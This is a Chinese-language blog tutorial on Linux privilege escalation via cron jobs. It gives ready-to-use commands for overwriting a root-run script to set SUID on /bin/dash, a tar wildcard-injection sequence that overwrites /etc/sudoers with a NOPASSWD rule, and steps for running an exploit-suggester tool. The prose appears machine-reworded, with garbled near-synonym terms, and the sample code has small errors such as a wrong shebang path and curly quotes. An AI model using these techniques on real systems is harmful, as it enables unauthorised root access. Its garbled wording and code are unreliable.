本文正在参与「金石计划 . 瓜分6万现金大奖」
前言
今日给咱们带来的是计划使命提权,说起守时使命对于linux很熟悉的小伙伴一定不会生疏,但你有没有想过能够经过守时使命来进行权限提高的操作,本文会根据该知识点进行打开,同时给咱们介绍一个用于探测缝隙的东西运用办法,下面会给咱们详细解说一下原理以及应用。
计划使命提权
守时使命(cron job)能够用来设置周期履行的指令,提权的原理为计划使命以root权限运转,计划使命中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则能够进行计划使命提权。
crontabs根本格局如上图,下面讲一下计划使命详细的装备:
假如体系没有该东西装置指令如下:
yum -y install vixie-cron
yum -y install crontabs
常用指令如下:
crontab -e 修改计划使命
crontab -l 查看计划使命
crontab -r 删去现在的crontab
而设置一个守时使命需求如下格局:
#分 时 日 月 周 |指令|
假定咱们设置了一个每分钟履行一次的计划使命xino.py:
*/1 * * * * root /tmp/xino.py
py脚本内容如下:
import os
import sys
try:
os.system('rm -r /home/xino/*')
except:
sys.exit()
上面代码的意思为删去/home/xino目录下面的一切文件。cron 服务在体系后台运转,它会继续地查看 /etc/crontab 文件和 /etc/cron.*/ 目录。来履行里边设定的周期性使命,但假如咱们具有修改计划使命的权限,是不是就能够测验提权操作了,下面打开来说。
文件覆盖提权
就如上面所说,咱们先测验修改计划使命里边的py脚本如下:
作为普通用户咱们首要进入目录查看:
cat /etc/crontab
ls -al /tmp/xino.py
cat /tmp/xino.py
去修改这个计划使命来进行提权:
#!/user/bin/env python
import os
import sys
try:
os.system(‘chmod u+s /bin/dash’)
except:
sys.exit
上面代码咱们应该不生疏,这涉及了之前讲过的SUID提权,简略来说便是赋予/bin/dash了suid权限,当然这只是一种办法,咱们的目的便是提高权限,也能够测验曾经讲过的其他提权办法,设置完后运用指令:
ls -la /bin/dash
发现属主的权限由x变成了s,成功设置了SUID权限,所以咱们运转指令:
/bin/dash
whoami
root
查询用户成功变成了root,提权就成功了。
通配符注入
先简略阐明通配符是什么,简略来说便是linux中用来匹配文件名的符号(例如*,?),其实它们也能够用来提权。需求前提条件是计划使命里有相似如下的指令:
tar czf /tmp/xino.tar.gz * //将前一个目录下悉数文件打包命名
有了上面前置条件后咱们能够测验以下指令来进行提权(用户为普通用户xino):
echo 'echo "xino ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >xino.sh
echo "" > "--checkpoint-action=exec=sh xino.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
之后咱们就会获取到sudo权限了。也便是说咱们提权成功了,该提权办法仍是有挺多限制条件的,不过当发现条件匹配时咱们能够测验一下。
缝隙探针
了解了本文以及之前文章的提权的办法,咱们会发现提权办法存在太多了,因为咱们在实战中不或许一个一个办法的去试,这样的话功率就太低了,这儿给咱们介绍一个缝隙探针东西linux-exploit-suggster2,该东西能够帮咱们查看该体系当时或许存在的缝隙,咱们只需求测验去进犯。
官网链接:github.com/jondonas/li…
运用办法也很简略,解压后直接运转即可:
$ ./linux-exploit-suggester-2.pl
Local Kernel: 4.4.0
Searching among 73 exploits...
能够看到给咱们列举了很多或许存在的缝隙,咱们只需测验就能够了,不必咱们手动去寻觅体系的缝隙了,在实战中仍是非常方便的,有爱好的小伙伴能够去下载试一试,不需求多余的装备。
结语
总结一下本文的知识点,讲了计划使命提权常用的两种办法以及缝隙探针的装置及运用,有爱好的小伙伴能够自己测验去建立靶机提权,假如喜欢本文不妨一键三连。